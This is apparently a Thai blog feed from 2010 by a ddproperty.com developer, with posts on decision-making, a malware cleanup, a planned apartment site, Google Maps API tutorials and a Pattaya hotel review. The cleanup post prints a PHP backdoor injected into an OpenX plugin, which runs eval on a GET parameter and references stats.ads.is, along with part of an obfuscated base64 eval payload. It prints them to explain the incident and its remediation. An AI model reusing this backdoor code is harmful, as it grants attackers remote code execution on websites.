วันนี้อ่าน blog ของคุณ Tony Wright เรื่องการตัดสินใจลาออกจาก CEO ของ RescueTime เลยได้ดู บทสัมภาษส์ Jeff Bezos ผู้ก่อตั้ง Amazon ลองดู Video ข้างล่างครับ

Jeff เล่าถึงตอนเค้าลาออกจากบริษัทเก่า ก่อนมาก่อตั้ง Amazon ว่า ถ้าเค้าลองคิดถึงในอนาคต ว่าตอนเค้าอายุ 80 ปี แล้วมองย้อนกลับมา การตัดสินใจแบบไหน จะให้เค้าเสียใจน้อยที่สุด และเรียกขบวนการคิดแบบนี้ว่า “Regret Minimization Framework”

พอดูแล้วทำให้คิดถึงเรื่องนึงในอดีตครับ คือมีเพื่อนผมคนนึงเคยมาปรึกษา ปัญหาคือเพื่อนผมเค้าสอบติดนักบินของสายการบินหนึ่ง และกำลังตัดสินใจว่าจะตกลงใจเซ็นสัญญาเข้าเรียนและเดินไปในอาชีพนักบินดีหรือไม่

ดูเผินๆเหมือนจะดีนะครับ สอบได้นักบิน ทั้งเท่และรายได้ดี แต่ปัญหาคือ การจะเป็นนักบินต้องมี commitment สูงมาก ค่าใช้จ่ายในการเรียนว่าที่นักบินต้องเซ็นสัญญากู้เพื่อมาเรียน หลายล้านบาท และ ติดสัญญากับสายการบินเป็นระยะเวลาหลายปีเพื่อผ่อนใช้ค่าเรียน ซึ่งจริงๆแล้วสามารถจ่ายได้สบายมาก เนื่องจากรายได้สูงมาก

ลอง สมมติว่าต้องผ่อนอยู่ 10 ปี คุณมั่นใจไหมครับ ว่าจะทำงานหนึ่งๆอย่างมีความสุขได้ 10 ไม่ออก ไม่อยากเปลี่ยนงาน? นั้นแหละครับปัญหา เพื่อนผมก็ไม่มั่นใจว่ารักในการเป็นนักบินไหม และถ้าไม่ชอบเป็นนักบินจะทำยังไง เงินก็กู้ไปแล้ว

ในที่สุดเค้าก็ตัดสินใจไม่เป็นนักบิน เพราะเมื่อเทียบกันความเสียใจ ระหว่าง ติดสัญญา 10+ ทนทำในสิ่งที่เค้า “อาจ” ไม่ชอบ กับ ความเสียใจ ที่ไม่ได้รายได้สูงๆแบบนักบิน เค้าคิดว่าเค้าทนไม่ได้กับข้อแรกมากกว่า แต่นั้นก็เป็นการตัดสินใจหนึ่งของคนหนึ่งนะครับ

ถ้าใครมีปัญหายากๆต้องตัดสินใจ ลองถามตัวเองดูนะครับว่า ในกรณีที่แย่ที่สุดของทุกทางเลือก ทางเลือกไหนทำให้เราเสียใจน้อยที่สุด

เมื่อวันที่ 22 มีนาคม เกิดปัญหาขึ้นกับเวป ddproperty.com ครับ เรื่องของเรื่องมีอยู่ว่า Chrome ไม่ยอมให้ผมเข้าเวป โดยแจ้งว่า อาจจะติด Malware ได้ ปฎิกิริยาแรกคือ เหงื่อตก – -” โดนอะไรเข้า (วะ) เนี้ย

พอลองหาข้อมูลดู เลยพบว่าเวปเราโดน Google เข้าใจว่ามีการเรียกเวปที่เป็น Trojan จากเวป ddproperty.com บางหน้า Google ก็บอกให้ไปดู Guide line ยาวเยียดเลย พอผมบ่นไปทาง twitter คุณ @iampz แนะนำมาว่าให้เข้าไปดูใน Webmaster Tool ผมเลยได้แบะแสว่ามันมาจาก openx (ขอบคุณ @iampz อีกทีครับ) เพราะใน section Labs ของ Webmaster Tool แจ้งว่า openx code เป็นปัญหา

แต่เนื่องจากผมไม่ได้มีความรู้อะไรกับ openx เลยนอกจาก ลงตาม installation wizard ที่แสนจะง่าย บวกกับความรู้ php แค่หางอึ่ง งานหนักเลยเป็นการค้นหาว่าตัวปัญหามันอยู่ที่ไหน สุดท้ายไปเจอ blog ของท่านหนึ่งเขียนไว้เรื่องปัญหาความปลอดภัยของ openx ผมเลยสามารถแก้ปัญหาได้

เผื่อมีประโยชน์กับท่านอื่นๆ ผมขอเล่าประสบการณ์ให้ฟังครับ

1. ปัญหาที่เจอคือมีการแก้ไข plugin ของ openx ให้ไปเรียกเวป ads.is ซึ่งเป็นตัว distribute พวกเวป trojan อีกทีครับ
2. files แรก ที่ผมเจอว่ามีปัญหาคือ  ./openx/var/plugins/cache/mergedDeliveryFunctions.php โดยมี code แปลกปลอมแบบนี้แปะเพิ่มมาครับ อันนี้หาเจอเพราะว่าดูจาก blog ข้างต้นครับ
   
$urlw = "http://stats.ads.is/stats?counter=128";
$asiebc = 'ade93d134c231cea7b0b5619bff4f82f';
if (isset($_GET['dothis']) && (md5($_GET['code'])==$asiebc)) eval($_GET['dothis']);
if (strpos($_SERVER['REQUEST_URI'],"/afr.php") or strpos($_SERVER['REQUEST_URI'],"/adframe.php")) {
if (!isset($_COOKIE['OADSA'])) {
setcookie("OADSA", 1, time()+3600);
echo "\n";
}
} elseif (strpos($_SERVER['REQUEST_URI'],"/ajs.php") or strpos($_SERVER['REQUEST_URI'],"/spcjs.php") or strpos($_SERVER['REQUEST_URI'],"/adjs.php")) {
if (!isset($_COOKIE['OADSA'])) {
setcookie("OADSA", 1, time()+3600);
echo "document.write('');\n";
}
}

3. file ที่สองที่พบปัญหาคือ ./openx/plugins/bannerTypeHtml/oxHtml/genericHtml.delivery.php โดยมี eval พวก encode แปลกๆแปะไว้ยาวมาก
   
if (basename($_SERVER['PHP_SELF'])=='genericHtml.delivery.php') {
eval(gzinflate(base64_decode("FJ3HjtvYFkX/5Y0McMCchoxiznnywCjmnL++VUAbaMC2LF6ds/daUkkqz7T/932bserTvfyXpVtJYP8vynwqyn//ExVUylcrF7qowmMCUL9ZZ3DeKDGOnk1Dnt+KBQLm7CJhC9EICZOyqG34CRI0MazSdqLnrYHwwcYSbT3Ao7ogAPq072d9Aaqg7bhMedE0FvfSeHgr3LN3pbg0ZDHcFZBQGG0Ga8wzNuW+KY1CrW5S1dWBYd+Z76rHKNon5IYQ0IfQd5BFJvvsHc4ltxVxBUdciM ....
4. พอลบสอง files นี้ไปแล้ว ก็ขอให้ Google Review เวปเราใหม่ โดยภายใน 6-8 ชั่วโมง Google ก็จะเข้ามา index แล้ว review ถ้าไม่เจอปัญหาก็จะเอาข้อความเตือนออกให้ครับ ตรงข้อนี้ผมเสียเวลาไปเยอะ เนื่องจากตอนแรกยังหาปัญหาไม่เจอ แต่ว่าดันขอ review ไปก่อน พอ Google ยังเจอปัญหาอยู่เลยต้องรอ review รอบใหม่
5. เท่าที่ลองหาข้อมูลดู openx version เก่าๆ มีปัญหาเรื่องความปลอดภัยอยู่ ทำให้ hacker ใช้จู่โจมและวาง code พวกนี้ในเครื่องเราได้ครับ upgrade จรเป็น version ใหม่ๆดีกว่าครับ
6. จริงๆปัญหาพวกนี้เราสามารถป้องกันได้ ทั้งการ upgrade openx อยู่เสมอ หรือว่าคอยตรวจสอบ log file เพื่อดูว่ามีการเปลี่ยนแปลงอะไรในระบบบ้าง เนื่องจากจริงๆ ผมโดนวางยาตั้งแต่กลางเดือนกุมภาพันธ์แล้วครับ ถ้าใส่ใจดูแลหน่อยก็คงเห็น log เรื่อง update plugin แปลกๆที่เราไม่ได้ทำไปนานแล้วครับ

จบเรื่องนี้ไป ผมได้ความรู้ใหม่ไปหลายอย่าง และได้ตระหนักว่า งาน system admin มีความสำคัญไม่แพ้งาน develop เลยครับ

ตอนนี้พวกเราที่ ddproperty.com กำลังพัฒนาเวปใหม่อยู่ครับ วันนี้ผมขอเล่า idea ของเวปนี้ให้ฟังครับ และขอรับฟังความคิดเห็นของทุกคนครับ เป็นเวปค้นหาอพาร์ทเม้นท์ ชื่อ allapartment.in.th ครับ

ขอเริ่มต้นจากปัญหาก่อนครับ

เคยต้องหาอพาร์ทเม้นท์ใหม่ไหมครับ ตอนเวลาย้ายที่ทำงานหรือตอนเข้าเรียนใหม่ อย่างถ้าต้องการหาอพาร์เม้นท์ ใกล้ที่ทำงานใหม่แถวๆ รามอินทรา เราอาจจะหาใน Google ด้วยคำว่า “อพาร์ทเม้น รามอินทรา” เราก็จะได้ผลการค้นหาประมาณนี้

Google เจอผลการค้นหา 1,100,000 เวป ที่เยอะขนาดนี้เพราะว่ามันซ้ำกัน ส่วนใหญ่เราก็ลองเปิดดูอันบนๆ แล้วก็ลองค้นหาใหม่ด้วยคำอื่น

ถ้าผมมีความต้องการเฉพาะเจาะจงมากขึ้น เช่น ผมต้องใช้งาน Internet ตลอดเวลา เลยอยากหาห้องที่มี WIFI ด้วย การหาด้วย keyword “อพาร์ทเม้น รามอินทรา WIFI” ใน Google ก็ได้ผลการค้นหาออกมาไม่น่าพอใจเท่าไหร่

ที่เป็นอย่างนี้เพราะว่าการทำงานของ Google เน้นการค้นหาตาม keyword เป็นหลัก และออกแบบมา เพื่อค้นหาเวปโดยเท่าๆไป ไม่ได้ออกแบบมาค้นหาเรื่องใดเรื่องหนึ่งโดยเฉพาะ จึง (ยัง)ไม่ค่อยเก่งในการหาข้อมูลแบบเฉพาะเจาะจงในลักษณะนี้ ปัจจุบัน Google เลยยังไม่สามารถตอบโจทย์ได้ทั้งหมด ซึ่งเป็นโอกาสของเวปที่เน้นการค้นหาข้อมูลเฉพาะด้าน

นอกจากหา Google เราอาจจะเข้าไปดูตามเวปที่รวบรวมอพาร์เม้นท์โดยเฉพาะที่มีในปัจจุบัน ซึ่งส่วนใหญ่ยังค้นหาไม่สะดวกนัก ซึ่งเป็นไปในลักษณะคล้ายๆกับเวปอสังหาฯอื่น เช่นเดียวกับ ตอนเราเริ่มทำเวป ddproperty.com เมื่อ 2 ปีก่อน พวกเราเลยคิดทำเวปค้นหาอพาร์ทเม้นท์ขึ้น และเป็นที่มาของเวป allapartment.in.th ครับ

ทีนี้เวป allapartment.in.th จะออกมาเป็นยังไง

ความตั้งใจของเรากับเวป allapartment.in.th คือ  การใช้งานง่าย ซึ่งต้องหมายถึงค้นหาเจอง่าย และดูข้อมูลง่าย การออกแบบทั้งหมดเลยเน้นเรื่องการใช้งานของผู้ค้นหาและผู้ลงประกาศเป็นหลัก แนวคิดหลักของเราเป็นแบบนี้ครับ

• เวลาหาที่พัก ทำเลที่ตั้งเป็นปัจจัยหลักในการตัดสินใจ ในเวปนี้เราจะเน้นข้อมูลว่าอพาร์ทเม้นท์นี้อยู่ทำเลแถวไหน และห่างจากที่ำทำงาน หรือสถานศึกษาของผู้ค้นหาเท่าไหร่
• การค้นหาและแสดงผล ในทำเล “มหาวิทยาลัยเกษตรศาสตร์”  ต้องสามารถเรียงตามระยะทางจากมหาวิทยาลัยได้ และต้อง Filter ตามคุณสมบัติเช่น WIFI, UBC ได้
• การแสดงผลต้องอ่านง่ายไม่รกตา

ถ้าทำสามข้อข้างบนได้ดี คิดว่าน่าจะมีประโยชน์ และใช้งานง่ายอย่างที่ตั้งใจ

แต่จะว่าไป เรื่องข้างบนผมว่าทำง่ายครับเมื่อเทียบกับ การทำยังไงให้มีข้อมูลอพาร์ืทเม้นท์เยอะพอที่จะมีประโยชน์ในการค้นหา เรื่องข้อมูลเป็นเรื่องสำคัญอย่างมาก ไม่งั้นใครๆก็คงไปใช้งาน Google เหมือนเดิมเพราะ Google มี 1,100,000 ผลการค้นหา นี่นา

ทุกท่านมี idea ยังไงบ้างครับ ว่าจะทำยังไงให้มีข้อมูลอพาร์ทเม้นท์ครบถ้วน ถ้าให้ review อพาร์ทเม้นท์ที่เคยพักจะมีคน review ไหมครับ

ข้างล่างเป็น screenshot ของหน้าเวปที่กำลังพัฒนาครับ

]]> http://www.tanomsak.com/index.php/2010/03/%e0%b8%97%e0%b8%b3%e0%b9%80%e0%b8%a7%e0%b8%9b%e0%b9%83%e0%b8%ab%e0%b8%a1%e0%b9%88-allapartment-in-th/feed/ 4 http://www.tanomsak.com/index.php/2010/01/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2%e0%b9%80%e0%b8%aa%e0%b9%89%e0%b8%99%e0%b8%97%e0%b8%b2%e0%b8%87%e0%b9%82%e0%b8%94%e0%b8%a2-google-maps-api-gdirection/ http://www.tanomsak.com/index.php/2010/01/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2%e0%b9%80%e0%b8%aa%e0%b9%89%e0%b8%99%e0%b8%97%e0%b8%b2%e0%b8%87%e0%b9%82%e0%b8%94%e0%b8%a2-google-maps-api-gdirection/#comments Sun, 31 Jan 2010 06:06:56 +0000 tanomsak http://www.tanomsak.com/?p=377

เมื่อสองสามวันก่อน มี comment ถามมาว่า “อยากทราบว่าสามารถทำ google map บอกระยะทางได้ไหมค่ะ เช่น จากกรุงเทพไปเชียงใหม่เป็นระยะทางเท่าไหร่” ผมก็ตอบไปสั้นๆ วันนี้ขอขยายความเรื่องการหาเส้นทาง และการหาระยะทางจากจุดสองจุดในโดยใช้ Google Maps API ครับ เรื่องนี้เป็นเรื่องที่หลายๆคนสนใจ และเวปใหม่ที่ผมกำลังซุ่มทำอยู่ก็ใช้เยอะมากครับ

ใครอ่านภาษาอังกฤษคล่อง และต้องการข้อมูลแบบละเอียด ผมแนะน ลองอ่าน document ของ Google นะครับ http://code.google.com/apis/maps/documentation/services.html#Directions

เรามาเริ่มกันเลยดีกว่าครับ อ้อ! วิธีการข้างล่างจะเ็ป็นของ API v2 นะครับ เพราะว่าคนส่วนใหญ่คงยังใช้งาน version 2 กันอยู่

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"  xmlns:v="urn:schemas-microsoft-com:vml">
  <head>
    <title>Google Maps JavaScript API Example: Simple Directions</title>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
    <script src="http://maps.google.com/maps?file=api&amp;v=2&amp;key=ABQIAAAAeNsNnRXUdrpgSw3qfvhz5hRHchrjOSPM-moa2HMmJZw-0fE6VhTsARfVd9x1Dg8TowZALqHIOcO20g"
      type="text/javascript"></script>
    <script type="text/javascript">
	// Create a directions object and register a map and DIV to hold the
    // resulting computed directions

    var map;
    var directionsPanel;
    var directions;

    function initialize() {
      map = new GMap2(document.getElementById("map_canvas"));
      map.setCenter(new GLatLng(13.998, 100.5009), 15);
      directions = new GDirections(map);
      directions.load("from: 14.068, 100.6009 to: 13.8152, 100.5606"});
   }
  </script>
  </head> 

  <body onload="initialize()">
    <div id="map_canvas" style="width: 70%; height: 480px; float:left; border: 1px solid black;"></div>
    <br/>
  </body>
</html>

source code ข้างบนผมเอามาจาก Tutorial ของ Google ครับ การใช้ GDirection ง่ายมากครับ โดย code ส่วนที่เกี่ยวข้องจริงๆคือบรรทัดที่ 19-20

directions = new GDirections(map);
directions.load("from: 14.068, 100.6009 to: 13.8152, 100.5606");


บรรทัดที่ 19 เป็นการสร้าง GDirections และระบุว่าให้แสดงเส้นทางใบแผนที่ที่เราสร้างไว้ก่อนหน้านี้
บรรทัดที่ 20 เป็นการเรียกใช้บริการหาเส้นทางจาก Google โดยเราระบุ จุดเริ่มต้นกับปลายทาง

การระบุจุดเริ่มต้นกับปลายทาง สามารถระบุเป็ืนชื่อสถานที่ก็ได้นะครับ แต่ผมว่ามันไม่ค่อยแม่นเนื่องจาก Google ต้องตีความสถานที่ก่อน และระบบ reverse-geocode สำหรับของไทยยังไม่สมบูรณ์ครับ

แค่นี้เราก็จะได้เส้นทางเ็ป็น Polyline บนแผนที่ของเราแล้วครับ

ถ้าต้องการให้ มีข้อความบอกเส้นทางด้วย แบบว่า “ตรงไป 2 กม. แล้วเลี้ยวซ้าย” ก็ทำได้ง่ายๆครับ โดยสร้าง div สำหรับแสดงผลขึ้นมาแล้วระบุตอน new GDirections แบบนี้ครับ


directionsPanel = document.getElementById("route");
directions = new GDirections(map, directionsPanel );
directions.load("from: 14.068, 100.6009 to: 13.8152, 100.5606", {locale: 'th'});


ตรง {locale: ‘th’} เป็นการบอกว่าให้แสดงข้อความเป็นภาษาไทยครับ

ดูตัวอย่างการใช้หาเส้นทางจาก Google Maps API http://tanomsak.com/tutorial-7.html

Update: ตัวอย่างสำหรับกรณีมีจุดหมายสองจัดครับ http://tanomsak.com/tutorial-7_1.html

ถ้าผมอธิบา่ยตรงไหนไม่เข้าใจ แนะนำได้ใน Comment เหมือนเดิมนะครับ

วันนี้จัดการ uninstall โปรแกรม Nokia PC Suite ที่ลงไว้ตอนย้าย Contact จากโทรศัพท์ฺเึครื่องเก่า ทำให้นึกอะไรขึ้นมาได้อย่างนึงคือ install wizard ของ Nokia ใช้งานยากมาก จริงๆรู้สึกตั้งแต่ตอนติดตั้งแล้ว แต่พอ uninstall ทำให้นึกขึ้นมาได้ ลองดูรูปนี้ครับ

เข้าใจว่าคงตั้งใจเปลี่ยนปุ่ม “ตกลง”,”ยกเลิก” ให้สวย โดยแทนที่ด้วยเครื่องหมายถูกผิดแทน ผลคือผมงงมากครับ ไม่รู้จะกดปุ่มไหนดี พอหันขึ้นไปอ่าน คำอธิบายข้างบน ก็อ่้านไม่เข้าใจอีก สุดท้ายเสียเวลาไปหลายนาที

การออกแบบ interaction ระหว่างคนกับโปรแกรมสำคัญมากๆ เรื่องเล็กๆน้่อยๆบางเรื่อง อาจทำให้งานง่ายกลายเป็นงานยากได้ครับ

@LukeWDesign เขียน “Web Form Design: Filling in the Blanks” ไว้ได้มีประโยชน์มากครับ หรือลองอ่าน presentation ของเค้าที่ http://www.lukew.com/ff/entry.asp?964 ดูครับ

เอาไว้ปีนี้จะลองหยิบประเด็นเด่นๆในหนังสือมาเล่าให้ฟังนะครับ สลับกับ Google Maps API บ้างเพราะเริ่มหมดมุขแล้วครับ

สวัสดีปีใหม่ 2010 ครับ

เสาร์อาทิตย์นี้มาพักผ่อนที่พัทยากับ @pangporn เลือกมาพักที่ The Zign เพราะโทรไปทีี่อื่นๆ ที่ซื้อไว้ตอนงานไทยเที่ยวไทยแล้วเต็มหมดเลย เลยลองใช้บริการ allresortthailand.com เป็นครั้งแรก ตอนแรกจะเลือกจองห้องแบบถูกที่สุดคือห้องแบบ City View (ราคาในเวป 2,2xx บาท) แต่ระบบแจ้งว่าเต็มเลยได้ห้อง Sea View มาแทนที่ราคา (2,7xx บาท)

โรงแรม The Zign อยู่ที่ นาเกลือซอย 12 เข้ามาไม่ไกลก็จะเห็นโรงแรมเพราะว่าใหญ่มาก

เรามาถึงโรงแรมตอนบ่ายโมง ทาง reception ก็จัดห้องให้โดยไม่ต้องรอถึงเวลา check-in คือบ่ายสอง แต่งานนี้เปลี่ยนห้องไป 2 ครั้งกว่าจะได้ห้องที่ถูกใจ เพราะว่าสองห้่องแรกอยู่ชั้น 3 เหม็นกลิ่นบุหรี่เลยขอย้าย เค้าก็ช่วยจัดแจงให้อย่่างดี จนได้ห้องชั้น 5 เสียอย่างเดียวชั้น 5 ไม่มี WIFI เพราะ Access Point อยู่ตรงชั้น 3 แต่ก็มี LAN ให้ใช้แทน โดยขอสาย LAN ได้ที่ reception (มัดจำ 100 บาท)

ห้องพักตกแต่งสวยดีเพราะเราย้ายห้องหลายครั้งเลยได้รูปมาให้ดูสองห้องเลยครับ

ห้องแรก อยู่ชั้น 3 ครับ

นี่รูปห้องสุดท้าย อยู่ชั้น 5 สวยไปอีกแบบ

อันนี้บรรยากาศในห้องชั้น 5 ที่เราได้อยู่

สระว่ายน้ำมีสองสระ แต่วันที่มากำลังปิดปรับปรุง 1 วัน เลยแน่นไปนิดนึง ส่วนใหญ่แขกเป็นครอบครัว เด็กๆเลยเยอะหน่อย

อาหารเช้าเป็นแบบ Buffet อาหารเยอะมากๆ แต่คนก็เยอะเหมือนกัน บรรยากาศคล้ายๆ ที่ รามายานะ บุฟเฟ่ต์ เลยแบบว่าแน่นๆ รสชาติอาหารส่วนใหญ่ OK ลองดูรายการอาหารใน video ข้างล่างดูครับ ผมว่าิเยอะว่าที่ Evason หัวหินอีก (แต่คุณภาพไม่เท่า)

ก่อนกลับลองถาม Reception ดูเห็นว่าราคาห้องแพงกว่าในเวปอยู่เกือบเท่าตัวครับ ขนาดเป็นราคาที่ลด 40% แล้วก็ตาม เลยคิดว่าวันหลังคงได้ใช้บริการจองจากทางเวปอีก

โดยรวมถือว่าชอบที่นี้ ถึงราคาจะแพงนิดแต่บรรยากาศ OK มาก หวังว่าจะช่วยเพื่อนๆที่คิดจะไปพักที่นี้ตัดสินใจได้นะครับ ใครไปมาแล้วแชร์ให้ฟังกันบ้างนะครับ

ปล. สรุปแทบไม่ได้ดูทะเล นอกจากออกมาถ่ายรูปทีี่ระเบียง คราวหลังจอง City View ก็คงไม่ต่างกันเก็บตังไปกินลุงไสวดีกว่า

อาหารเช้าอลังการมาก อาหารเยอะ คนก็เยอะ รสชาติถือว่า ok เลย

เมื่อเช้าตื่นขึ้นมาเจอ tweet ของ sebprovencher เรื่อง Google Maps เปลี่ยนหน้าตา (จริงผมว่าเพิ่มข้ิิอมูลถนนมากกว่า) กับ เรื่องที่มีการคาดการว่า Google จะให้บริการ Navigator ซึ่งผมคิดว่ามีแนวโน้มมาก และคิดว่า Google น่าจะทำได้ดีด้วยเพราะที่ผ่านมาผมใช้บริการ Direction ของ Google ตลอดและทำได้ดีมาก ถ้ารวมกับข้อมูลถนนที่เพิ่มใหม่คงจะออกมาเป็นบริการที่ดีมากๆ

คำถามต่อมาที่เกิดในใจ ก็คือแล้ว Google จะทำเิงินจากบริการใหม่ยังไง ผมคิดว่าน่าจะิออกมาเป็น advertisement ตัวใหม่ เพราะ Google เป็นบริษัทโฆษณา

ดูแนวโน้มรวมกับบริการที่เพิ่งออกมาเร็วๆนี้สองตัวคือ Google Place Pages ที่ Google สร้างหน้า Landing page ให้สถานที่ต่าง (a.k.a. ธุรกิจขนาดเล็ก ที่อาจจะจ่ายเงินโฆษณาได้) และ Google Local Listing Ads (โฆษณาสำหรับธุรกิจขนาดเล็ก ที่เข้าใจง่าย จ่ายเป็นรายเดือนไม่ต้องประมูล keyword แข่้งกัน) ผมคิดว่า Google กำลังจะเอาจริงกับการจับกลุ่มผู้ลงโฆษณากลุ่มธุรกิจขนาดเล็กอย่างมาก ถ้าเอามารวมกับ Google Navigator ที่คาดกันว่าจะเป็นออกมาเป็นส่วนหนึ่งของ Android น่าจะเป็นจุดเริ่มต้นสำคัญของ mobile advertisement จาก Google เลยครับ

ทุกคนคิดยังไงกันบ้างครับ สำหรับผมอยากให้ Google navigation เป็นจริงเร็วๆ อ้อแ้ล้วมันจะมี iphone app ไหมน้า

ถ้าใครเคยเข้าไปเวป ddproperty.com จะเห็นว่าปุ่มซูมเข้าซูมออกจะไม่เหมือนแบบปกติของ Google Maps และมีปุ่มย่อขยายแผนที่เพิ่มขึ้นมาด้วย การทำแบบนี้เค้าเรียกว่า Custom Control ครับ

คราวนี้เราจะพูดถึงเรื่องการสร้าง Control ของ Google Maps ให้เป็นแบบเฉพาะของเวปเรากันครับ

ทำความรู้จักกับ Control ใน Google Maps

ก่อนอื่นมาทำความรู้จักกับ Control ใน Google Maps API กันก่อน ในตัว Google Maps API มี Control มาตราฐานมาให้เราใช้อยู่หลายอย่างครับ

• GLargeMapControl – เป็น Control ที่มีครบทั้งซูมเข้าออก,เลื่อนแผนที่ซ้ายขวา และ Slider
• GSmallMapControl – จะมีแค่ซูมเข้าออก,เลื่อนแผนที่ซ้ายขวา
• GSmallZoomControl – มีแต่ ซูมเข้าออกเล็กๆ
• GScaleControl – scale บอกขนาดแผนที่
• GLargeMapControl3D – เหมือน GLargeMapControl แต่ว่าดูสวยกว่า
• GSmallZoomControl3D – เหมือน GSmallZoomControl แต่ว่าดูสวยกว่า
• GMapTypeControl – เอาไว้เลือกประเภทแผนที่ ว่าจะเป็นแผนที่ธรรมดา หรือภาพถ่ายดาวเทียม
• GHierarchicalMapTypeControl – Control แบบที่มี Drop down ให้เลือกได้
• GOverviewMapControl – แผนที่ขนาดเล็กที่ปกติอยู่ทางขวาล่าง
• GNavLabelControl – Label แสดง “ที่อยู่” ณ ตำแหน่งปัจจุบัน

ปกติเราเรียกใช้งาน Control พวกนี้โดยคำสั่งแบบนี้ครับ

map.addControl(new GLargeMapControl());

มาสร้าง Control ของเรากันครับ

ขอเริ่มจาก source code ละกันนะครับ

// ก่อนอื่นสร้าง function myZoomControl ขึ้นมาก่อน
function myZoomControl() {
}
// ทำ "subclass" GControl โ้้ดยการกำหนดให้ prototype object เป็น Instance ของ GControl
myZoomControl.prototype = new GControl();

myZoomControl.prototype.initialize = function(map) {
  // เริ่มต้นก็สร้าง div ว่างๆมาหนึ่งอัน เอาไ้ว้เป็น container
  var container = document.createElement("div");

  container.style.width = "37px";
  container.style.height = '100px';

  // สร้าง div อีกอันเอาไว้เป็นปุ่ม ZoomIn
  var zoomInDiv = document.createElement("div");
  // กำหนด style ให้กับปุ่ม -> ไป call function ด้านล่าง
  this.setButtonStyle_(zoomInDiv,"zoonin.png");
  // เพิ่ม div ของปุ่ม ZoomIn ไว้ใส่ container
  container.appendChild(zoomInDiv);

  // กำหนดหน้าที่ให้กับปุ่ม
  GEvent.addDomListener(zoomInDiv, "click", function() {
    map.zoomIn();
  });

  // สร้าง div อีกอันเอาไว้เป็นปุ่ม ZoomOut
  var zoomOutDiv = document.createElement("div");
  // กำหนด style ให้กับปุ่ม -> ไป call function ด้านล่าง
  this.setButtonStyle_(zoomOutDiv,"zoomout.png");
  // เพิ่ม div ของปุ่ม ZoomIn ไว้ใส่ container
  container.appendChild(zoomOutDiv);

  // กำหนดหน้าที่ให้กับปุ่ม
  GEvent.addDomListener(zoomOutDiv, "click", function() {
    map.zoomOut();
  });

  // นำ div container ใส่เข้าไปในแผนที่
  map.getContainer().appendChild(container);
  return container;
}

myZoomControl.prototype.getDefaultPosition = function() {
  return new GControlPosition(G_ANCHOR_TOP_LEFT, new GSize(7, 7));
}

myZoomControl.prototype.setButtonStyle_ = function(button,button_pic) {

    button.style.backgroundImage = "url(/"+button_pic+")";
    button.style.width = "31px";
    button.style.height = "31px";
    button.style.margin = "0px 0px 3px 3px";
    //styleFloat  for IE
    if (navigator.appName.indexOf("Netscape") != -1) {
       button.style.cssFloat = "left";
    }
    else {
       button.style.styleFloat = "left";
    }
    button.style.cursor = "pointer";
}

function load() {
    if (GBrowserIsCompatible()) {
       var map = new GMap2(document.getElementById("map"));

       // เรียกใช้ Custom Control ที่สร้าง
       map.addControl(new myZoomControl());
       map.setCenter(new GLatLng(37.4419, -122.1419), 13);
    }
}

ดูตัวอย่างกันครับว่าออกเป็นแบบไหน

การสร้าง Custom Control จริงแล้วไม่ยากเลยครับ ส่วนที่สำคัญๆมีดังนี้ครับ

บรรทัดที่ 1-5 กำหนด prototype ของ Custom Control ที่จะสร้าง ให้เป็น instance ของ GControl ขั้นตอนนี้้เป็นการทำ “subclass” จาก GControl แต่ว่า Javascript ไม่มีการ inherit Class เหมือนพวก OOP แต่มีการทำ prototype แทนครับ ไม่ต้องงงครับ  copy ไปเลย

มี function ที่สำคัญ 2 อันคือ initialize บรรทัดที่ 7-41 กับ getDefaultPosition บรรทัด 43-45 ห้ามตกหล่นไม่งั้นไม่ work

โดย initialize ทำหน้าที่กำหนดหน้าตาของ Custom Control และ กำหนด Action เวลากดปุ่มต่าง มาดูกันทีละบรรทัดครับ

บรรทัด 9-11 เริ่มต้นด้วยการสร้าง div เปล่าๆขึ้นมาและกำหนดขนาดให้มัน div อันนี้จะเรียกว่า container ครับ โดยเราจะสร้างปุ่มไว้ข้างใน แล้วก็ append ทั้ง container เข้าไปใน Google maps ของเราตอนท้าย คอยดูนะครับ

บรรทัด 15-17 เริ่มสร้างปุ่ม ZoomIn โดยการสร้าง div อีกอันนึง แล้วก็ กำหนด style ให้มันโดยเรียก function setButtonStyle_ ถ้าตามไปดูข้างในก็จะเห็นว่าเป็นการกำหนด background ให้เป็นรูปปุ่ม และก็กำหนดขนาดนั้นเอง

บรรทัด 19 ใส่ div ZoomIn เข้าไปใน Container

บรรทัด 22-24 เป็นการตั้ง Listener ให้ซูมเข้าเวลามรการ “click” ที่ div ZoomIn ของเรา

จากนั้น บรรทัด 26-36 ก็ทำซ้ำสำหรับปุ่ม ZoomOut

บรรทัด 39 ก็ append container ที่เราใส่ปุ่ม ZoomIn/ZoomOut แล้วเข้าไปในแผนที่

ส่วน getDefaultPosition ทำหน้าที่กำหนดตำแหน่งว่า Control ของเราจะอยู่ตรงไหนของแผนที่ครับ

สุดท้ายก็เรียกใช้ myZoomControl ก็เป็นอันเรียบร้อย

Update:

คุณ @iampz แนะนำให้ใช้ id/class กำหนด style แทน ผมทดลองแล้วตามแล้วลองดูตัวอย่างนะครับ

คิดว่าหลายๆคนคงจะรู้จัก Google Static Maps API กันบ้างนะครับ ตัว Static map จะเป็นรูปแผนที่ Google Maps แบบที่เป็นรูปภาพนิ่ง คือไม่สามารถลากเพื่อเปลี่ยนที่ และไม่สามารถว่าซูมเข้าออกได้ ประโยชน์ของมันก็คือโหลดเร็วเพราะว่าเป็นรูปภาพรูปเดียว เหมาะสำหรับการแสดงตำแหน่งแค่คร่าวๆ เพราะบางครั้งแผนที่ไม่ใช้ส่วนสำคัญในหน้าเวป จะได้ไม่ต้องเสียเวลาโหลดตัว API นานๆครับ

Google Static Maps มีการสนับสนุนการแสดงหมุดด้วยครับ แต่ว่าหมุดมันจะเป็นชุดมาตราฐานซึ่งอาจจะไม่เข้ากับเวปอันแสนสวย(??) ของเราเท่าไหร่ จะใช้วิธีการเปลี่ยนรูปหมุดใน Google Maps ที่แนะนำไปแล้วก็ไม่ได้ เนื่องจากแผนที่เป็นรูปภาพไม่ได้สร้างจาก Javascript API

และนี่เป็นหัวข้อของผมในวันนี้ครับ คือการ การทำ Custom marker icon สำหรับ Google Static Maps ผมพบวิธีนี้จากเวป Yelp.com ตอนที่เค้าเปลี่ยนมาใช้ static map ครับ

1. การใช้งาน Google Static Maps

